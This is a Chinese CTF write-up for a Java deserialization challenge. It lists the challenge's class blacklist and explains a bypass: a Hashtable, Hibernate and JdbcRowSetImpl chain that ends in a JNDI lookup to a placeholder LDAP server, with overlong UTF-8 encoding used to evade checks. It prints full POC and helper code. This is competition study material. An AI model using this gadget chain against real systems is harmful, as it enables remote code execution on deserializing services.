justDeserialize题解

分析

把题目给的jar包反编译到term:(IDEA自带反编译器,文末给出对应的bat指令)

image-20250330211021387

启动项目,发现两个限制:

image-20250330211218164

上图限制了三个包,再看看下面限制的黑名单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
javax.management.BadAttributeValueExpException
com.sun.org.apache.xpath.internal.objects.XString
java.rmi.MarshalledObject
java.rmi.activation.ActivationID
javax.swing.event.EventListenerList
java.rmi.server.RemoteObject
javax.swing.AbstractAction
javax.swing.text.DefaultFormatter
java.beans.EventHandler
java.net.Inet4Address
java.net.Inet6Address
java.net.InetAddress
java.net.InetSocketAddress
java.net.Socket
java.net.URL
java.net.URLStreamHandler
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
java.rmi.registry.Registry
java.rmi.RemoteObjectInvocationHandler
java.rmi.server.ObjID
java.lang.System
javax.management.remote.JMXServiceUR
javax.management.remote.rmi.RMIConnector
java.rmi.server.RemoteObject
java.rmi.server.RemoteRef
javax.swing.UIDefaults$TextAndMnemonicHashMap
java.rmi.server.UnicastRemoteObject
java.util.Base64
java.util.Comparator
java.util.HashMap
java.util.logging.FileHandler
java.security.SignedObject
javax.swing.UIDefaults

把TemplatesImpl和HashMap限制了,那我想到二次反序列化,但是黑名单把SignedObject等类也限制了,所以只好找找别的类。

但是黑名单疏忽了一点,就是没有限制com.sun.rowset.JdbcRowSetImpl类。好巧不巧的是,com.sun包被限制了。

再观察lib目录,发现存在Hibernate依赖,且黑名单都没有限制Hibernate。

所以我选择拿Hibernate当作链子主体。

HashMap被黑名单禁止了,无妨,用兄弟类HashTable。

那么链尾呢?

jndi?jndi高版本绕过?都逃不过com.sun的检测。

但是事实上,存在一种绕过字符串检测的方法,P神在下文分析过:

UTF-8 Overlong Encoding导致的安全问题 | 离别歌

在P神等大佬创建的工具Java Chains也给出混淆工具。

所以现在可以使用JdbcRowSetImpl了。

但是JDK11是比较高的版本,不允许远程类加载。

想用jndi高版本绕过,但是forceString字段已经没了。

不想放弃,因为好不容易可以使用JNDI,那么再找找绕过方式。

tabby扫到LdapAttribute:

image-20250330212944319

而且Jackson也可以使用,翻翻Java Chains的JNDI模块,经过学长点拨,找到这个链子:

image-20250330213358350

这个链子可以在jdk11发挥作用。

由于JdbcRowSetImpl类可以发送JNDI请求,那么就都串起来了。

HashTable->Hibernate->JdbcRowSetImpl->ldap://xxxxxxx/xxx

步骤

利用Java Chains产生一个上文讲述的服务:ldap://xxx/a54ad6

产生POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package com.example.ezjav.poc;

import com.example.ezjav.utils.User;
import com.sun.rowset.JdbcRowSetImpl;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.property.access.spi.Getter;
import org.hibernate.property.access.spi.GetterMethodImpl;
import org.hibernate.tuple.component.PojoComponentTuplizer;
import org.hibernate.type.ComponentType;

import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Hashtable;

import static com.example.ezjav.poc.Utils.Utils.*;

public class Main {
public static void main(String[] args) throws Exception{
JdbcRowSetImpl jdbcRowSetImpl = getJdbcRowSetImpl("ldap://xxx/a54ad6");
Method getDatabaseMetaDataMethod = jdbcRowSetImpl.getClass().getMethod("getDatabaseMetaData");
GetterMethodImpl getterMethod = new GetterMethodImpl(jdbcRowSetImpl.getClass(), "111", getDatabaseMetaDataMethod);
// 构造 PojoComponentTuplizer
Getter[] getters = new Getter[]{getterMethod};
PojoComponentTuplizer pojoComponentTuplizer = getPojoComponentTuplizer(getters);
// 构造 ComponentType
ComponentType componentType = (ComponentType) initObject(ComponentType.class);
setFieldValue(componentType, "componentTuplizer",pojoComponentTuplizer);
setFieldValue(componentType, "propertySpan", 1);
// TypedValue
TypedValue typedValue = (TypedValue) initObject(TypedValue.class);
setFieldValue(typedValue, "value", jdbcRowSetImpl);
setFieldValue(typedValue, "type", componentType);
// Hashtable
Hashtable<Object, Object> hashtable = gadgetFromHashtable(typedValue);
serializeToFile(hashtable);
}
}

混淆POC:

image-20250330213702149

把混淆后的POC直接拿去用即可弹出POC

工具

预编译bat指令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
@echo off
setlocal

set path1=%~1
set path2=%~2

if not exist "%path2%" (
mkdir "%path2%"
)


java -cp "D:\IDEA\IntelliJ IDEA 2023.3.2\plugins\java-decompiler\lib\java-decompiler.jar" org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -dgs=true %path1% %path2%

endlocal

Java Chains自行找。

POC用到的Utils类函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
package com.example.ezjav.poc.Utils;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.rowset.JdbcRowSetImpl;
import org.hibernate.property.access.spi.Getter;
import org.hibernate.tuple.component.AbstractComponentTuplizer;
import org.hibernate.tuple.component.PojoComponentTuplizer;
import sun.reflect.ReflectionFactory;

import javax.sql.rowset.BaseRowSet;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Hashtable;

public class Utils {
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
Class clazz = object.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
public static void serializeToFile(Object object) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./ser.bin"));
objectOutputStream.writeObject(object);
}
public static Object deserializeFromFile(String filePath) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.bin"));
return objectInputStream.readObject();
}
public static HashMap<Object, Object> gadgetFromHashmap(Object o) throws Exception {
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(1,1);
Field tableField = HashMap.class.getDeclaredField("table");
tableField.setAccessible(true);
Object[] table = (Object[]) tableField.get(hashMap);
for (Object entry: table){
if (entry != null){
setFieldValue(entry,"key",o);
}
}
return hashMap;
}

public static Hashtable<Object, Object> gadgetFromHashtable(Object o) throws Exception {
Hashtable<Object, Object> hashtable = new Hashtable<>();
hashtable.put(1, 1);
// 使用 Hashtable 的内部字段
Field tableField = Hashtable.class.getDeclaredField("table");
tableField.setAccessible(true);
Object[] table = (Object[]) tableField.get(hashtable);
for (Object entry : table) {
if (entry != null) {
// 确保 setFieldValue 方法能正常工作
setFieldValue(entry, "key", o);
}
}
return hashtable;
}
public static Object initObject(Class clazz) throws Exception {
//获取ReflectionFactory对象,它本身是单例的
ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();
//获取Object类的构造器
Constructor<Object> constructor = Object.class.getDeclaredConstructor();
//根据Object构造器创建一个参数类的构造器
Constructor<?> constructorForSerialization = reflectionFactory
.newConstructorForSerialization(clazz, constructor);
constructorForSerialization.setAccessible(true);
//实例化对象
return constructorForSerialization.newInstance();
}
public static TemplatesImpl getTemplatesImpl() throws Exception{
TemplatesImpl templates = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("E://all_test/test_java/com/Unserialize/cc_test/target/classes/Tool/Calc.class"));
setFieldValue(templates, "_name", "Pax");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_bytecodes", new byte[][]{code});
return templates;
}
public static JdbcRowSetImpl getJdbcRowSetImpl(String url) throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
Class c0 = BaseRowSet.class;
Field dataSourceField = c0.getDeclaredField("dataSource");
dataSourceField.setAccessible(true);
dataSourceField.set(jdbcRowSet,url);
return jdbcRowSet;
}
public static PojoComponentTuplizer getPojoComponentTuplizer(Getter[] getters) throws Exception {
PojoComponentTuplizer pojoComponentTuplizer = (PojoComponentTuplizer) initObject(PojoComponentTuplizer.class);
Class superClass = AbstractComponentTuplizer.class;
Field gettersField = superClass.getDeclaredField("getters");
gettersField.setAccessible(true);
gettersField.set(pojoComponentTuplizer, getters);
return pojoComponentTuplizer;
}
}

参考

软件系统安全赛2025华东赛区半决赛wp-web - Potat0w0

UTF-8 Overlong Encoding导致的安全问题 | 离别歌

♪(^∇^*)欢迎肥来!软件系统安全赛2025华东赛区半决赛web-justDeserialize | Sherlock